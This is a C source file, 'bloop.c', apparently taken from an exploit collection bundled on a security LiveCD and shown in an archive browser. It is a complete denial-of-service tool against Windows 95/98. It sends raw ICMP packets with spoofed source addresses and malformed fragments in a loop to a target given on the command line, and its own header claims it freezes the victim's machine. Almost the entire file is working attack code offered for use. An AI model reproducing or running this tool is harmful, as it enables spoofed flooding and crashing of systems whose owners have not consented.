home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / bloop.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  178 lines

  1. /* Simple denial of service attack against Windows98/95 Machines
  2.    Overview: Sends random spoofed ICMP packets similar to a weaker
  3.    protocol as of ssping or jolt.
  4.    Result: Freezes the users machine or a CPU usage will rise to extreme
  5.    lag potentiol. (c) Legion2000 Security Research , code may be
  6.    distributed - credit is greatfully given if so..
  7.  
  8.    http://www.legion2000.org     http://www.sekurity-net.com
  9.  */
  10. #include <stdio.h>
  11. #include <unistd.h>
  12. #include <stdlib.h>
  13. #include <string.h>
  14. #include <sys/types.h>
  15. #include <sys/time.h>
  16. #include <sys/socket.h>
  17. #include <netdb.h>
  18. #include <netinet/in.h>
  19. #include <netinet/ip.h>
  20. #include <netinet/ip_icmp.h>
  21. void banner(void)
  22. {
  23.  
  24.   printf("Bloop v 1.0\n\n");
  25.   printf("\n\n");
  26. }
  27. void usage(const char *progname)
  28. {
  29.   printf(" usage:\n");
  30.   printf("./bloop [src_ip] [dst_ip] [# of packets]\n",progname);
  31.   printf(" [ip_src] :  ex: 205.56.78.0\n");
  32.   printf(" [ip_dst] :  ex: 201.12.3.76\n");
  33.   printf(" [number]  : 100\n");
  34.   printf("Legion2000 Security Research (c)\n");
  35. }
  36. int resolve( const char *name, unsigned int port, struct sockaddr_in *addr )
  37. {
  38.   struct hostent *host;
  39.   memset(addr,0,sizeof(struct sockaddr_in));
  40.   addr->sin_family = AF_INET;
  41.   addr->sin_addr.s_addr = inet_addr(name);
  42.   if (addr->sin_addr.s_addr == -1)
  43.     {
  44.       if (( host = gethostbyname(name) ) == NULL )
  45.         {
  46.           fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
  47.           return(-1);
  48.         }
  49.       addr->sin_family = host->h_addrtype;
  50.       memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
  51.     }
  52.   addr->sin_port = htons(port);
  53.   return(0);
  54. }
  55. unsigned short in_cksum(addr, len)
  56. u_short *addr;
  57. int len;
  58. {
  59.   register int nleft = len;
  60.   register u_short *w = addr;
  61.   register int sum = 0;
  62.   u_short answer = 0;
  63.  
  64.   while (nleft > 1)
  65.     {
  66.       sum += *w++;
  67.       nleft -= 2;
  68.     }
  69.  
  70.   if (nleft == 1)
  71.     {
  72.       *(u_char *)(&answer) = *(u_char *)w ;
  73.       sum += answer;
  74.     }
  75.  
  76.   sum = (sum >> 16) + (sum & 0xffff);
  77.   sum += (sum >> 16);
  78.   answer = ~sum;
  79.   return(answer);
  80. }
  81. int send_winbomb(int socket,
  82.                  unsigned long spoof_addr,
  83.                  struct sockaddr_in *dest_addr)
  84. {
  85.   unsigned char  *packet;
  86.   struct iphdr   *ip;
  87.   struct icmphdr *icmp;
  88.   int rc;
  89.  
  90.   packet = (unsigned char *)malloc(sizeof(struct iphdr) +
  91.                                    sizeof(struct icmphdr) + 8);
  92.   ip = (struct iphdr *)packet;
  93.   icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
  94.   memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  95.   ip->ihl      = 5;
  96.   ip->version  = 4;
  97.   // ip->tos      = 2;
  98.   ip->id       = htons(1234);
  99.   ip->frag_off |= htons(0x2000);
  100.   // ip->tot_len  = 0;
  101.   ip->ttl      = 30;
  102.   ip->protocol = IPPROTO_ICMP;
  103.   ip->saddr    = spoof_addr;
  104.   ip->daddr    = dest_addr->sin_addr.s_addr;
  105.   ip->check    = in_cksum(ip, sizeof(struct iphdr));
  106.  
  107.   icmp->type              = 12;
  108.   icmp->code              = 0;
  109.   icmp->checksum          = in_cksum(icmp,sizeof(struct icmphdr) + 1);
  110.   if (sendto(socket,
  111.              packet,
  112.              sizeof(struct iphdr) +
  113.              sizeof(struct icmphdr) + 1,0,
  114.              (struct sockaddr *)dest_addr,
  115.              sizeof(struct sockaddr)) == -1)
  116.     {
  117.       return(-1);
  118.     }
  119.   ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  120.   ip->frag_off = htons(8 >> 3);
  121.   ip->frag_off |= htons(0x2000);
  122.   ip->check    = in_cksum(ip, sizeof(struct iphdr));
  123.   icmp->type = 0;
  124.   icmp->code = 0;
  125.   icmp->checksum = 0;
  126.   if (sendto(socket,
  127.              packet,
  128.              sizeof(struct iphdr) +
  129.              sizeof(struct icmphdr) + 8,0,
  130.              (struct sockaddr *)dest_addr,
  131.              sizeof(struct sockaddr)) == -1)
  132.     {
  133.       return(-1);
  134.     }
  135.   free(packet);
  136.   return(0);
  137. }
  138. int main(int argc, char * *argv)
  139. {
  140.   struct sockaddr_in dest_addr;
  141.   unsigned int i,sock;
  142.   unsigned long src_addr;
  143.   banner();
  144.   if ((argc != 4))
  145.     {
  146.       usage(argv[0]);
  147.       return(-1);
  148.     }
  149.  
  150.   if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  151.     {
  152.       fprintf(stderr,"ERROR: Opening raw socket.\n");
  153.       return(-1);
  154.     }
  155.  
  156.   if (resolve(argv[1],0,&dest_addr) == -1)
  157.     {
  158.       return(-1);
  159.     }
  160.   src_addr = dest_addr.sin_addr.s_addr;
  161.   if (resolve(argv[2],0,&dest_addr) == -1)
  162.     {
  163.       return(-1);
  164.     }
  165.   printf("Status: Connected....packets sent.\n",argv[0]);
  166.   for (i = 0;i < atoi(argv[3]);i++)
  167.     {
  168.       if (send_winbomb(sock,
  169.                        src_addr,
  170.                        &dest_addr) == -1)
  171.         {
  172.           fprintf(stderr,"ERROR: Unable to Connect To luser.\n");
  173.           return(-1);
  174.         }
  175.       usleep(10000);
  176.     }
  177. }
  178. /*                    www.hack.co.za              [2000]*/